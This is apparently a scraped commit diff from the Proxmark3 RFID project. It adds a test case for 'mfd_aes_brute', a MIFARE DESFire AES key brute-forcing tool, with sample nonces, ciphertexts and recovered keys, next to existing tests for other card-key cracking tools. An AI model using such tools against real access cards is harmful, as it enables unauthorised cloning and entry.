//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef UTIL_POSIX_H__
|
||||
#define UTIL_POSIX_H__
|
||||
|
||||
#include "common.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
# include <windows.h>
|
||||
# define sleep(n) Sleep(1000 *(n))
|
||||
# define msleep(n) Sleep((n))
|
||||
#else
|
||||
void msleep(uint32_t n); // sleep n milliseconds
|
||||
#endif // _WIN32
|
||||
|
||||
uint64_t msclock(void); // a milliseconds clock
|
||||
|
||||
#endif
|
|
@ -12,6 +12,7 @@ TESTALL=true
|
|||
TESTMFKEY=false
|
||||
TESTNONCE2KEY=false
|
||||
TESTMFNONCEBRUTE=false
|
||||
TESTMFDAESBRUTE=false
|
||||
TESTHITAG2CRACK=false
|
||||
TESTFPGACOMPRESS=false
|
||||
TESTBOOTROM=false
|
||||
|
@ -26,7 +27,7 @@ while (( "$#" )); do
|
|||
case "$1" in
|
||||
-h|--help)
|
||||
echo """
|
||||
Usage: $0 [--long] [--opencl] [--clientbin /path/to/proxmark3] [mfkey|nonce2key|mf_nonce_brute|fpga_compress|bootrom|armsrc|client|recovery|common]
|
||||
Usage: $0 [--long] [--opencl] [--clientbin /path/to/proxmark3] [mfkey|nonce2key|mf_nonce_brute|mfd_aes_brute|fpga_compress|bootrom|armsrc|client|recovery|common]
|
||||
--long: Enable slow tests
|
||||
--opencl: Enable tests requiring OpenCL (preferably a Nvidia GPU)
|
||||
--clientbin ...: Specify path to proxmark3 binary to test
|
||||
|
@ -66,6 +67,11 @@ Usage: $0 [--long] [--opencl] [--clientbin /path/to/proxmark3] [mfkey|nonce2key|
|
|||
TESTMFNONCEBRUTE=true
|
||||
shift
|
||||
;;
|
||||
mfd_aes_brute)
|
||||
TESTALL=false
|
||||
TESTMFDAESBRUTE=true
|
||||
shift
|
||||
;;
|
||||
fpga_compress)
|
||||
TESTALL=false
|
||||
TESTFPGACOMPRESS=true
|
||||
|
@ -281,6 +287,12 @@ while true; do
|
|||
if ! CheckFileExist "mf_nonce_brute exists" "$MFNONCEBRUTEBIN"; then break; fi
|
||||
if ! CheckExecute slow "mf_nonce_brute test 1/2" "$MFNONCEBRUTEBIN 9c599b32 5a920d85 1011 98d76b77 d6c6e870 0000 ca7e0b63 0111 3e709c8a" "Key found \[.*ffffffffffff.*\]"; then break; fi
|
||||
if ! CheckExecute slow "mf_nonce_brute test 2/2" "$MFNONCEBRUTEBIN 96519578 d7e3c6ac 0011 cd311951 9da49e49 0010 2bb22e00 0100 a4f7f398" "Key found \[.*3b7e4fd575ad.*\]"; then break; fi
|
||||
fi
|
||||
if $TESTALL || $TESTMFDAESBRUTE; then
|
||||
echo -e "\n${C_BLUE}Testing mfd_aes_brute:${C_NC} ${MFDASEBRUTEBIN:=./tools/mfd_aes_brute/mfd_aes_brute}"
|
||||
if ! CheckFileExist "mfd_aes_brute exists" "$MFDASEBRUTEBIN"; then break; fi
|
||||
if ! CheckExecute "mfd_aes_brute test 1/2" "$MFDASEBRUTEBIN 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c" "key.................... 261c07a23f2bc8262f69f10a5bdf3764"; then break; fi
|
||||
if ! CheckExecute slow "mfd_aes_brute test 2/2" "$MFDASEBRUTEBIN 1136073600 3fda933e2953ca5e6cfbbf95d1b51ddf 97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583" "key.................... e757178e13516a4f3171bc6ea85e165a"; then break; fi
|
||||
fi
|
||||
# hitag2crack not yet part of "all"
|
||||
# if $TESTALL || $TESTHITAG2CRACK; then
|
||||
|
|
Loading…
Reference in a new issue